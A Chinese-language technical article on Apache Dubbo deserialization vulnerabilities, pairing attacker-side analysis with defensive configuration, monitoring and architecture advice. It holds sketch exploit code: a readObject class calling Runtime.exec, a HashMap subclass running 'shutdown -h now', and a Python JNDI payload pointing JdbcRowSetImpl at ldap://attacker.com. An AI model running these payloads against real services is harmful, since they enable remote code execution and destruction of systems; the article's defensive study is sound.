从攻击者视角剖析Dubbo序列化漏洞的攻防博弈

在分布式系统架构中，远程过程调用（RPC）框架的安全防线往往最先从序列化机制被突破。作为Java生态中广泛使用的RPC框架，Dubbo的序列化安全机制经历了多次攻防对抗的洗礼。本文将深入分析攻击者如何利用序列化漏洞构建攻击链，以及开发者如何构建多层次的防御体系。

1. Dubbo序列化机制的安全演进

Dubbo框架采用模块化设计，其序列化功能通过SPI机制支持多种协议。历史版本中，Hessian2作为默认序列化方案曾多次成为攻击入口点。让我们先看几个关键版本的防御机制变化：

版本范围	安全机制	典型漏洞
<2.7.7	无类检查	CVE-2020-1948
2.7.7-3.1.5	基础类检查	CVE-2021-43297
≥3.1.6	严格白名单	CVE-2023-23638

序列化攻击的本质是控制反序列化过程中的类加载行为。攻击者通过精心构造的序列化数据，诱使系统加载并执行恶意类。在Dubbo的早期版本中，以下设计缺陷放大了风险：

1. 默认使用Hessian2这类动态类加载的序列化协议
2. 反序列化时缺乏严格的类型校验
3. 传输协议中服务名和方法名可被篡改

// 典型攻击代码结构示例
public class ExploitObject implements Serializable {
    private void readObject(ObjectInputStream in) {
        Runtime.getRuntime().exec("恶意命令");
    }
}

2. 攻击链构造实战分析

2.1 基于Hessian2的子类注入攻击

攻击者发现Dubbo的Map反序列化存在设计缺陷：当反序列化Map类型时，Hessian2会实例化用户指定的子类。通过构造特殊HashMap子类，可重写关键方法实现攻击：

public class DeadlyMap extends HashMap {
    public Object put(Object key, Object value) {
        Runtime.getRuntime().exec("shutdown -h now");
        return super.put(key, value);
    }
}

攻击步骤分解：

1. 构造恶意Map子类并序列化
2. 通过Dubbo协议发送到服务端
3. 服务端反序列化时触发恶意代码

2.2 JNDI注入攻击链构造

结合Log4j漏洞的经验，攻击者发现Dubbo的JNDI注入同样可行。利用Rome工具链构造攻击载荷：

# Python攻击脚本示例
from dubbo.codec.hessian2 import new_object
client = DubboClient(target_ip, port)

jndi_payload = new_object(
    'com.sun.rowset.JdbcRowSetImpl',
    dataSource="ldap://attacker.com/Exploit",
    strMatchColumns=["恶意代码"]
)
client.invoke("任意服务名", "任意方法", [jndi_payload])

这种攻击方式在Dubbo≤2.7.7版本中可直接利用，具有以下特征：

• 不依赖具体服务接口
• 利用Java内置类构造攻击链
• 可绕过基础签名校验

3. 现代防御体系构建

Dubbo在3.x版本引入了多层次的防御机制，形成立体防护：

3.1 类检查机制的三级防护

# 安全配置示例
dubbo.application.serialize-check-status=STRICT
dubbo.application.auto-trust-serialize-class=true
dubbo.application.trust-serialize-class-level=3

检查级别说明：

• DISABLE：完全禁用（高危）
• WARN：仅日志警告（过渡方案）
• STRICT：严格模式（生产推荐）

3.2 自动信任机制的实现原理

Dubbo通过字节码分析自动构建白名单，覆盖以下范围：

1. 服务接口及其父类
2. 方法参数/返回值类型
3. 异常类型
4. 属性类型

// 自动注册信任类的核心逻辑
public void registerInterface(Class<?> clazz) {
    if (!autoTrustSerializeClass) return;
    
    // 递归扫描关联类
    scanClasses(clazz);
    scanMethods(clazz.getMethods());
    
    // 按包层级添加信任
    addToAllow(clazz.getName()); 
}

3.3 安全审计与监控

通过QoS命令实时监控序列化行为：

# 查看当前安全状态
telnet 127.0.0.1 22222
> serializeCheckStatus

# 检查告警类
> serializeWarnedClasses

关键监控指标包括：

• 非常规类反序列化尝试
• 白名单外类的加载请求
• 重复的类校验失败

4. 进阶防御策略

对于金融级应用，建议采用组合防御方案：

协议层防护

• 启用Triple协议替代Dubbo协议
• 配置TLS加密传输
• 限制IP白名单访问

运行时防护

<!-- 安全过滤器配置 -->
<dubbo:provider filter="serializationFilter,accessLogFilter" />

架构级方案

1. 序列化网关隔离：在服务网格层统一处理序列化
2. 沙箱环境：可疑请求在隔离环境执行
3. 流量审计：记录完整调用链用于溯源

5. 实战中的经验教训

在某次红队演练中，攻击者通过以下路径突破防线：

1. 利用旧版Dubbo的Hessian2反序列化
2. 构造特殊的Throwable子类绕过初步校验
3. 通过JNDI注入获取初始访问权限

防御方最终通过以下措施阻断攻击：

• 紧急升级至Dubbo 3.2.0
• 配置STRICT模式并启用自动信任
• 部署基于字节码分析的RASP防护

值得注意的陷阱：

• 自动信任机制不覆盖动态生成的类
• 某些JSON序列化库可能绕过主防护
• 泛化调用需要特殊安全处理

在架构设计层面，建议采用最小化信任原则：每个服务只暴露必要的接口，序列化白名单精确到具体类而非整个包。对于关键系统，可以考虑完全禁用动态类加载，采用IDL定义的严格契约式接口。